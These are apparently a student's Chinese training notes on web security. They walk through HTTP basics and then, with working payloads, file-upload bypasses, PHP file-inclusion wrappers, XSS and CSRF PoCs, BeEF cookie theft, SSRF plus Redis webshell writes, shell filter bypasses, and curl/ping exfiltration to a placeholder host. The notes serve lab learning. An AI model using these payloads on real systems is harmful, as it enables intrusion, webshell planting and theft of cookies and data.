大三末实训

前言

实训的笔记,记录一下,防止忘记

网站URL

统一资源定位器(uniform resource locator),用来定位服务器的资源

标准格式:protocol://hostname[:port]/path/[?query]

http默认80端口

  • %[ascii]:此外+也代表空格,常用来转换&字符或者其他的一些特殊字符

    image-20220530112713188

  • base64编码:http环境下传递较长的标识信息

  • Hex编码:

协议HTTP

无状态的协议,通过cookiesession来进行相关的状态处理

(1)请求报文

①结构

image-20220530141434979

  • User-Agent:产生请求的浏览器类型,一般可以随意指定,但是当服务器方面有限制则会受到影响,比如爬虫进行检查
  • Accept:用户声明客户端可以处理的MIME类型,即文件类型
  • Accept-Encoding:用于声明客户端能够理解的内容编码方式
  • Accept-Language:用于声明客户端可以理解的自然语言
  • Cookie:存放用户的身份凭证
  • Content-Length:请求数据的长度,服务器端只会按照该字段进行长度解析,多余的截断。
  • Referer:当前访问URL的上一个URL,用户从什么地方来到该页面的

image-20220530142815202

②请求方法

GET/POST/CONNECT等等

GET:没有请求数据的部分,在URL中传输数据,由于URL长度限制,所以传输的数据也是有限制的。

POST:在请求数据部分进行数据传输,长度基本没有什么限制,注意设置Content-TypeContent-Length

(2)响应报文

描述服务器端的一些信息

①结构

  • Data:请求发送的时间和日期,GMT时间

  • Server:告诉客户端服务器的名称和版本号

  • Content-Type:响应正文的MIME类型

  • Content-Length:响应正文的长度

  • Connection:告诉客户端完成相应后的连接状态

  • Content-Encoding:Web服务器告诉浏览器数据传输使用了那种压缩方法

  • Last-Modified:实体报头域用于指示资源最后的修改日期和时间

  • 状态码:

    image-20220530143957584

    • 200:请求成功
    • 1XX:服务器收到请求,需要请求者继续执行操作
    • 2XX:成功
    • 3XX:重定向,需要进一步的操作用以完成请求。类似需要登录
    • 4XX:客户端错误,请求包含语法错误或者无法完成请求
    • 5XX:服务器端错误,服务器在处理请求的过程中发生了错误

等等,还有一些其他的

协议HTTPS

HTTP下加入了SSL/TLS层,通过安全机制进行传输数据。握手过程是明文传输,来建立HTTPS连接

image-20220530144221805

会话

利用cookie(客户端)和session(服务端)来进行保存会话状态,比如记住密码

客户端第一次发送数据给服务端时没有Cookie,服务器收到请求后,创建Session,之后通过Set-Cookie字段把Session IDCookie的形式告诉客户端。以后每次请求发送该Cookie到服务器,服务器即可识别。

image-20220530145435543

关于Webshell

一个服务器权限

身份认证

通常爆破

(1)常见认证

Burpsuite中的Intruder模块有很多选项

可以设置需要爆破的地方,爆破方式,编码方式,爆破字典,是否跳转(状态码为302)等等

(2)Basic认证

常见admin:passwd等,关键词为:Authorization:Basic [xxxx],其中xxxx即为admin:passwd的相关编码,这个可以在Intruder->Payloads->Payload type选择Custom iterator。之后在Payload Options [Simple list]中设置下不同的字典即可,即自定义一个字段的不同位置数据的迭代爆破。

  • 设置方式

image-20220530192510353

  • 设置字典

    • 用户密码image-20220530192504191

    • 中间冒号

      image-20220530192534539

    • 字典

      image-20220530192702136

  • 设置编码

    image-20220530192746452

  • 取消特殊字符,这里即为=url编码

    image-20220530192817488

文件上传

(1)验证漏洞

  • 客户端JavaScript验证

    当发现不是从服务器返回的验证不通过信息,就可能是客户端本身的JavaScript进行了验证,那么就可以在Burpsuite发包的过程对文件进行修改,比如改掉文件名称等。

    或者直接修改本地网页中的JavaScript代码,或者使用插件禁用掉JavaScript代码脚本

  • 服务端验证

    • MIME限制:常见的服务器对Content-Type进行解析限制

    • 文件内容验证:通常验证文件头,可以修改其文件头,或者将一句话木马放入到对应的文件内容最后

      JPG:FF D8 FF E0 00 10 4A 46 49 46

      GIF:47 49 46 38 39 61(GIF89a)

      PNG:89 50 4E 47

    • 文件扩展名验证:验证文件的后缀,黑名单白名单之类的

      • 大小写绕过(Windows下大小写不敏感)

      • windows下的文件名后缀不规范(或者某些特殊字符)会被改掉,比如test.php....会被修改为test.php,但是这样就可以绕过验证了,实际还是执行的php文件。

        image-20220530212508036

        image-20220530212656016

      • 如果只是替换后缀名,那么可以进行拓展后缀名绕过,比如phphpp

      • %00截断绕过:保存文件时可能会将文件名和目录进行拼接,那么就可以绕过(PHP<5.3.34)

      • 特殊可解析后缀绕过:

        在某些环境(比如基于ubuntuapt-get按照的apache)中,会将某些特殊的文件名后缀当作某一类文件进行解析,比如php3会被当作php解析

        可能是开发的时候历史遗留问题把

        image-20220530205111015

    • Apache.htaccess绕过

      Apache里面有一个配置文件,xx.htacess可以用来写入Apache配置信息,用来改变当前目录以及子目录下的Apache的配置信息。

      需要如下条件:

      • 运行.htaccess生效

      • Apache开启rewrite模块

      • Apache配置文件为AllowOverride All(默认为None

      那么就可以尝试上传该文件

      1
      2
      3
      <FilesMatch "sec.jpg">
      SetHandler application/x-httpd-php
      </FilesMatch>

      之后当前配置下生效的地方,sec.jpg即可被解析为php

(2)服务器解析漏洞

  • Apache解析漏洞

    从右往左解析,abc.php.ccc.aaa会被当作abc.php来进行解析(某些版本)

  • IIS6.0解析漏洞(windows的中间件)

    image-20220530213952989

  • Nginx解析漏洞

    image-20220530214053524

c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场 (github.com)

文件下载

(1)利用

过滤规则不好,可以下载任意文件

  • 获取站点源码
  • 获取站点与中间件配置文件
  • 获取应用与系统的配置文件

image-20220601104430476

可利用的相关配置文件

  • Windows平台

    image-20220601105607099

  • Linux平台

    image-20220601105623772

(2)防御

  • 文件保存到数据库,依据ID进行下载
  • 参数过滤,不能目录穿越

文件包含

includerequire相关函数,将用户指定的文件包含进来。那么如果该文件中有php代码,则会被执行,其他的字符,则会被输出。不受到相关文件后缀,文件头之类的限制。

(1)函数解析

  • include:包含过程中如果出现错误,只会生成警告(E_WARNING),在include函数后面的代码还是会正常被执行
  • require:包含过程中如果出现错误,会生成致命错误(E_COMPILE_ERROR)并且停止脚本运行,之后的代码都不包会被运行。
  • include_oncerequire_once两个函数,如果文件已经包含,则不会再次被包含,防止相关函数重定义或者变量重新赋值。

(2)漏洞利用

通过PHP函数引入文件时,如果对文件名没有限制或者合理的验证,很容易执行到相关的漏洞php代码或者文件信息泄露。

1
2
3
4
<?php
$file = $_GET["file"];
include $file;
?>

①本地文件包含

即包含服务器本身的文件。

1
127.0.0.1/index.php?file=test.txt

②远程文件包含

利用URL,使得网络中的可访问文件被包含,不过需要在php.ini中开启如下配置项

1
2
allow_url_fopen = on(默认开启)
allow_url_include = on(php5.2以后默认关闭)

如下

1
127.0.0.1/index.php?file=www.baidu.com

(3)其他利用方式

①包含日志文件

  • 利用原理

输入URL时,输入相关的php代码使之报错,随即就会将相关的报错信息输入到log中,那么就可以将php的相关代码输入到日志中,那么我们包含该日志就会执行到该代码。

1
127.0.0.1/index.php?file=<?php phpinfo(); ?>

image-20220601174400213

  • 利用条件:

    • 日志文件可读
    • 知道日志文件的存储目录
  • 常见的日志文件目录:

    image-20220601174509112

并且一般情况下日志存储目录会被修改,需要读取服务器的相关配置文件(httpd.conf,nginx.conf等),或者依据phpinfo()来获取。

相关的日志信息也可以被调整,限制。

②包含Session

  • 条件:

    • Session中存在可控变量

    • Session文件可以读写,并且知道存储路径

  • 默认存储路径:

    image-20220601203337176

相关的index.php如下

1
2
3
4
5
6
<?php
session_start();
$username = @$_GET['username'];
$_SESSION['username'] = $username;
highlight_file(__FILE__);
?>

输入username会记录Session,以序列化的形式存在,可以在php.ini中找到相关的保存路径

image-20220601202513684

那么访问即可获得Session

image-20220601202712181

这样就可以尝试将该文件使用文件包含的形式来执行代码。

(4)伪协议

使用伪协议可以访问PHP的相关文件描述符,从而进行读取解析文件。

①使用例子

比如有时候直接文件包含不能够打印结果,比如说某个test.php,内容如下

1
2
3
4
<?php
echo "aaaa";
//flag{cccc}
?>

那么当include文件包含进入之后,解析PHP代码,只会输出aaaa,而不会输出flag{cccc}的内容,这时候就需要用到伪协议php://filert来将文件流包含进来,这样就会打印出test.php文件了

image-20220601210615644

使用伪协议:

1
php://filter/read=convert.base64-encode/resource=index.php

image-20220601210629504

Burpsuite解码

image-20220601210654804

②各种伪协议

  • php://filter

    通常用来读取文件

    • php.ini

      1
      2
      allow_url_fopen=off/on
      allow_url_include=off/on
    • POC

      1
      ?file=php://filter/read=convert.base64-encode/resource=test.php
  • php://input

    POST请求的相关数据当作一个文件流输入进去,配合文件包含通常可以执行任意命令。

    • php.ini

      1
      2
      allow_url_fopen=off/on
      allow_url_include=on
    • POC

      1
      2
      ?file=php://input
      [POST DATA]<?php phpinfo(); ?>
  • zip://

    访问压缩包里的文件,访问到的文件结合文件包含函数就会被当作php文件执行,从而实现任意代码执行。

    • php.ini

      1
      2
      3
      allow_url_fopen=off/on
      allow_url_include=off/on
      php >= 5.2

      需要注意的是只要是压缩包即可,后缀名无所谓。相同类型的还要zlib://bzip2://

    • POC

      #需要进行URL编码

      1
      2
      zip://[压缩包绝对路径]#[压缩包内文件]
      ?file=zip://D:\phpstudy_pro\WWW\test.zip%23test.php
  • phar://

    phar是用来打包生成php项目用的,可以用相关协议进行解析,其中涉及到很多东西,比较常见的就是zip打包访问以及序列化、反序列的东西。

    类似zip://,可以访问zip中的文件,并且相对路径和绝对路径都可以。

    • php.ini

      1
      2
      3
      allow_url_fopen=off/on
      allow_url_include=off/on
      php >= 5.3
    • POC

      1
      2
      ?file=phar://zip.jpg/phpinfo.txt
      ?file=phar://D:\zip.jpg\phpinfo.txt
  • data://

    类似于php://input,让用户控制文件的输入流。

    • php.ini

      1
      2
      3
      allow_url_fopen=on
      allow_url_include=on
      php >= 5.2
    • POC

      1
      2
      3
      4
      5
      6
      data://[<MIME-type>][;charset=<encoding>][;base64],<data>
      ?file=data://,<?php phpinfo();
      ?file=data://text/plain,<?php phpinfo();
      ?file=data://text/plain;base64,[content]
      ?file=data:text/plain,<?php phpinfo();
      ?file=data:text/plain;base64,[content]

(5)防御

  • allow_url_includeallow_url_fopen最小权限化
  • 设置open_basedirphp所能打开的文件限制在指定的目录树中
  • 白名单限制包含文件,或者严格过滤./\

漏洞SQL注入

了解基本原理,各种利用方式,盲注,时间盲注,布尔盲注,堆叠注入之类的,也差不多会,但是种类太多啦。而且感觉这种类型,工具比实际的感觉会好用一些。此外由于现今数据库很多都开始使用模型来获取制造SQL语句,很难利用了,所以笔记就没有怎么记录。

漏洞XSS

跨站脚本(Cross Site Scripting)攻击,为了不和CSS产生歧义,所以缩写为XSS

攻击者可以在页面插入恶意脚本(JavaScript)代码,受害者访问页面时,浏览器解析执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

XSS即注入HTML代码

(1)种类

①存储型

较为持久,一般在留言板、用户发帖、用户回帖的版块中,一般类似如下三步:

  • 插入留言:恶意代码数据存储到数据库中
  • 查看留言:恶意代码数据从数据库中提取出来
  • 内容在页面显示

DVWALow Security版本代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
//基本没有过滤
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
//插入到数据库中
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

那么就直接将恶意代码插入了数据库,不同的DVWA Security如下

image-20220609104504618

之后在解析的时候

没有过滤的直接解析为HTML代码

image-20220609104554318

过滤的信息被解析为相关的字符串

image-20220609104633495

②反射型

插入的数据不存储和读取数据库,直接回显到页面上,通常需要诱导用户去点击触发漏洞的地方。

DVWALow Security版本代码如下

1
2
3
4
5
6
7
8
9
10
11
12

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
//获取输入然后拼接字符串直接作为HTML代码输出
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

浏览器中解析如下所示

image-20220609105153708

③DOM型

比较少见,通过修改页面中的DOM节点,与客户端上的JavaScript进行交互,不会与服务端进行交互,通常是document.write函数

1
2
3
4
5
6
7

if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
//直接获取并且拼接,然后就document.write来写到整个HTML页面中
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

没有写入其他的如下

image-20220609140222567

当从URL加入其他的拼接字符,其结构点发生变化,写入了我们的JS代码

image-20220609140308956

(2)危害攻击

  • 钓鱼,可以伪造登录框和页面
  • Cookie盗取
  • 获取IP
  • 站点重定向
  • BOM/DOM的操作
  • 获取客户端的页面信息,比如窃取邮件内容
  • XSS蠕虫,可以自我传播

(3)挖掘

输入输出点,有的转义、过滤、消毒的等需要处理

(4)触发漏洞

  • script标签插入

    1
    <script>alert(1)</script>
  • 在事件中插入

    1
    <IMG src=x onerror=javascript:alert(1);>

    在该方式下,src读取不到资源,就会触发后面的javascript代码,即alert(1)

  • 在协议中插入

    1
    <a href="javascript:alert(1);">点此查看链接</a>

    点击这里就会跳转href中进行执行javascript代码

  • 等等

▲XSS的Payload大全:

Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security Academy (portswigger.net)

▲XSS的题目大全

alert(1) (haozi.me)

(5)XSS攻击平台

firesunCN/BlueLotus_XSSReceiver (github.com),这个通常用来自定义payload,然后进行上线

Kali下的Beef,有很多的模块,社工弹窗等,还挺全

Cookie盗取

使用beefhook.js使得客户端执行恶意的JS代码后,会在beef中收到一些信息,其中就可以提取相关网站的cookie,之后使用无痕模式,将CookieF12->App->Cookie->对应网站下,修改填入相关盗取的Cookie即可

image-20220609173011737

(6)防御

①代码防御

在服务器的输入输出处理的时候使用过滤、编码、转移之类的,或者HttpOnly头来禁止JS代码读取Cookie

②安全设备

WAFIDS

③控制客户端输入规则

检测相关的输入

漏洞CSRF

CSRF(Cross Site Request Forgery),跨站点伪造请求。即攻击者在用户已经登录目标网站之后,诱导用户访问一个攻击者制造的攻击页面,利用用户身份对目标网站发起伪造用户身份操作的请求,相当于伪造用户。这个过程中没有盗取Cookie而是直接利用用户的Cookie来达到伪造用户身份的目的。

image-20220610150042385

(1)种类

GET型

  • 无保护情况

    当只需要进行URL提交即可完成功能,即只需要GET请求就能完成时。

    如下,只是利用该URL传入参数,结合Cookie即可完成修改密码操作的时候。

    1
    http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

    这种情况就直接伪造一个链接,诱导用户点击该链接,从而触发一个目标网站

  • Referer

    Medium版本下的加了一行代码

    1
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

    即检测Referer是否是服务器本身,SERVER_NAME表示运行脚本所在服务器的主机名。(如果只是浏览器输入URL访问的话,其Referer字段为空,链接的话则不会,会保存来源网站)

    所以这里我们就需要进行抓包伪造Referer字段。

  • token

    High版本下添加了

    1
    2
    3
    4
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
    //......
    // Generate Anti-CSRF token
    generateSessionToken();

    会检测用户传入的token,这是一个随机值,每次网站检测完之后会重新生成,然后将新的token发还给用户。

    通常这种情况需要结合其他漏洞,比如XSS来获取相关的token值,即变成了XSRF

    1
    <iframe src="../csrf" onload=alert(frames[0].document.getElementsByName(' user. token')[0].value

    即加载当前的csrf这个界面时,会弹出token值。当然,结合其他的手法可以直接获取token然后来伪造链接。

POST型

需要构造POC,在Burp suite中可以右键->Engagement tools->Generate CSRF Poc,这样可以生成一个form表单形式来发生POST请求,对应修改相关字段即可。

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://www.baidu.com/">
<input type="hidden" name="username" value="PIG-007" />
</form>
<script>
document.forms[0].submit();
; </script>
</body>
</html>

在添加input标签,然后添加对应需要的值即可

(2)利用

通常组合拳形式来XSRF

image-20220610155923179

(3)防御

  • 验证Referertoken
  • HTTP头部加入自定义属性验证
  • 高危操作加入验证码
  • 等等

漏洞SSRF

SSRFServer-side Request Forgery)服务端请求伪造

比较常用的就是可以让服务器的相关敏感参数受到我们的控制,比如说我们可以传入一个URL让服务器去爬取,这个URL就是比较敏感的参数。

这样就可以绕过服务器的防火墙了。

(1)可能存在的SSRF

①功能服务

以下的就可能存在SSRF漏洞

  • 请求远端资源
  • 在线翻译
  • 数据库内置功能
  • 编码服务(?api=xxxx)
  • URL网址调用
  • 邮箱邮件

②关键参数

share、target、wap、url、sourceURL、imageURL、source、domain

③关键函数

  • PHP
    • file_get_contents()
    • fsockopen()
    • curl_exec()
    • fopen()
  • Python
    • urllibhttp头注入
    • requests库中默认跟随30x跳转

(2)利用

①相关协议

  • file:访问本地文件的协议

  • http

  • dict:字典服务器协议,基于查询响应的TCP协议。查询目标服务端口,需要服务具备TCP回显功能

    image-20220612113058963

    常见如下:

    • http:80
    • https:433
    • ftp:20/21
    • mysql:3306
    • telnet:23
    • dns:53
    • dhcp:67/68
    • sshd:22
    • nginx:80
    • tomcat:8080
    • sql server:1433
    • oracle:1521
    • smtp:25
    • redis:6379
  • gopher:在HTTP协议之前的,在Internet上常见的协议,支持多行,常用来攻击内网。

②获取敏感文件

  • Windows

    • C:/windows/win.ini:保存系统配置文件
  • Linux

    • file:///etc/passwd:获取账号密码

    • file:///etc/hosts:本网段的内网IP

      image-20220612112056049

      之后可以进行内网探测

③内网横向探测-WEB

A.首先获取内网IP

使用file协议:file:///etc/hosts,但是在虚拟机里不知道怎么获取到对应的docker的IP

这里假设本地搭建的虚拟机里面,docker和本虚拟机组成的一个子网

image-20220612113904560

即子网中其他的docker的IP就是172.17.0.x

B.信息收集

爆破子网存活主机及端口

BurpSuite中将包发到Intruder,然后添加$进行重放,由于是需要爆破多个位置,那么就使用Clusterbomb模式

image-20220612120816854

之后在Payload上进行设置两个位置的爆破数值

第一个

image-20220612120947874

第二个

image-20220612121049196

开始攻击之后得到结果,依据对应的内容和长度来判断是否存在相关的服务

image-20220612121321908

C.内网穿透

利用gopher协议来利用构造两个数据包

  • 首先将第一个爬虫数据包抓取放到Repeater

③内网横向探测-Redis-未授权

A.dict协议测试
1
dict://172.17.0.2:6379/

返回如下OK即代表未授权即可访问,即没有密码

image-20220612174542324

如果需要密码访问即如下

image-20220612175006529

B.写入木马
1
2
3
4
5
dict://172.17.0.2:6379/flushall
dict://172.17.0.2:6379/config set dir /var/www (网址根目录)
dict://172.17.0.2:6379/config set dbfilename ssrf.php
dict://172.17.0.2:6379/set webshell "<?php phpinfo(); ?>"
dict://172.17.0.2:6379/save

XXE

命令执行

(1)常用函数

eval()函数

1
mixed eval(string $code);

把字符串code当作PHP执行

  • 代码不能包含打开/关闭PHP tags,比如不能传入<?php echo "Hi"; ?>。但是可以利用闭合形式来关闭PHP再重新打开。比如

    1
    echo "In PHP mode!"; ?> In HTML mode!<?php echo "Back in PHP mode!";
  • 传入的必须是有效的PHP代码,并且以分号;来进行语句分割,没有正常分割的话会导致一个parse error

assert函数

1
bool assert(mixed $assertion[,string $description])

PHP中用来判断一个表达式是否成立,返回布尔值。

如果assertion为字符串,那么它会被assert()当作PHP代码来执行。

preg_replace函数

1
mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]])

对字符串进行正则处理。搜索subject中匹配pattern的部分,以replacement来进行替换。当$pattern参数中存在/e修饰符时,$replacement的值会被当作PHP代码执行。

  • PHP5.5.0开始,传入\e修饰符会产生E_DEPRECATED错误,但是还是可以生效。而PHP7.0.0开始,会产生E_WARNINIG错误,同时\e无法生效

如下代码,传入_=phpinfo();即可触发phpinfo函数

1
echo preg_replace('/\s/e',$_POST[_],$str);

④调用函数过滤不当

通常用在框架中,小程序很少

call_user_func()、call_user_func_array()、array_map()等几十个函数都可以调用其他函数的功能,其中第一个参数为调用的函数名称,如果这个函数名称可控,那么就可以调用任意函数。

1
mixed call_user_func(callable $callback[,mixed $paramenter[,mixed $....]])

如下代码所示,传入_assert即可

1
call_user_func($_POST[_],'phpinfo()');

⑤动态函数执行

可拼接字符串当作函数

1
2
$a = 'a'.'s'.'s'.'e'.'r'.'t';
$a('phpinfo()');

或者

1
$_GET['a']($_POST[_]);

那么传入a=assert_=phpinfo();即可,但是不能传递eval

⑥可用执行命令漏洞函数

  • string system(string $command[,int &$return_var])

    函数执行command参数所指定的命令,并且输出执行结果

  • string exec(string $command[,array &$output[,int &$return_var]])

    执行command指定的命令

  • string shell_exec(string $cmd)

    通过shell环境执行命令,将完整的输出以字符串形式返回。

  • void passthru(string $command[,int &$return_var])

    执行外部程序并且显示原始的输出

  • ``反引号

    利用ls,会被当作系统命令执行,其实就是shell_exec()函数进行处理。

  • void pcntl_exec(string $path[,array $args[,array $envs]])

    多进程处理扩展,需要额外进行安装才行。

  • resource popen(string $command,string $mode)

    打开一个指向进程的管道,该进程由给定的command命令产生。

  • resource proc_open(string $cmd,array $descriptorspec,array &$pipes[,string $cwd[,array $env[,array $other_options]]])

    更强大一些,但是需要指定更多的参数

  • bool ob_start([callback $output_callback[,int $chunk_size[,bool $erase]]])

    控制输出缓冲的,相当于另外开辟一片缓冲区,可通过ob_end_flush来输出缓冲区

    可选参数$output_callback被指定后,ob_flush/ob_clean或者类似的函数进行刷新时,会调用该回调函数,并且调用时输出缓冲区的内容会被当作参数去执行,并且返回一个新的缓冲区作为结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
system('whoami');
echo exec('whoami');
echo shell_exec('whoami');
passthru('whoami');
echo `whoami`;
pcntl_exec("/bin/bash",array('whoami'));

popen('whoami >> 123.txt','r');
echo file_get_contents('1.txt');

$descriptorspec = array(
0=>array("pipe","r")),
1=>array("pipe","w")),
2=>array("pipe","a"));
//控制标准输入输出和错误输出
proc_open("whoami >> 1.txt",$descriptorspec,$pipes);
echo file_get_contents("1.txt");

$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();//会输出缓冲区内容
//传入为whoami即可执行命令

(2)绕过

  • 命令方面

&|;&&||之类的

  • 空格绕过

    • IFS,为shell的内置变量,用于分割字段,默认值为空(可当作空格、tab、换行)。

      1
      cat${IFS}text
    • {}

      1
      {cat,text}
    • tab

      1
      cat%09text
    • 重定向

      1
      cat<text
  • 黑名单绕过

    • 拼接

      1
      a=c;b=at;c=tex;d=t;$a$b ${c}${d}
    • 使用环境变量

      1
      2
      3
      echo ${SHELLOPTS}
      echo ${SHELLOPTS:3:1}
      {SHELLOPTS:3:1}at${IFS}text

      image-20220613112926445

    • 使用空变量

      1
      cat t{x}ext
    • 使用通配符

      1
      /bin/ca? tex?

      image-20220613113027598

    • 使用反斜杠

      1
      ca\t tex\t

      image-20220613113106132

    • base64编码

      1
      2
      echo t|base64
      ca$(echo "dAo="|base -d) text

      image-20220613113225371

  • 无回显绕过

    • 使用HTTP通道带出数据

      1
      curl host/`whoami`

      image-20220613114812865

    • 使用DNS通道带出数据

      一样的

      1
      ping `whoami`.host
    • 编码

      1
      curl hosts/$(whoami|base64)

(3)防御

正则表达式白名单、过滤

漏洞JAVA反序列化

从数据对象反序列化成内存对象的过程,主要是各种链子,有点困难,需要后续慢慢研究。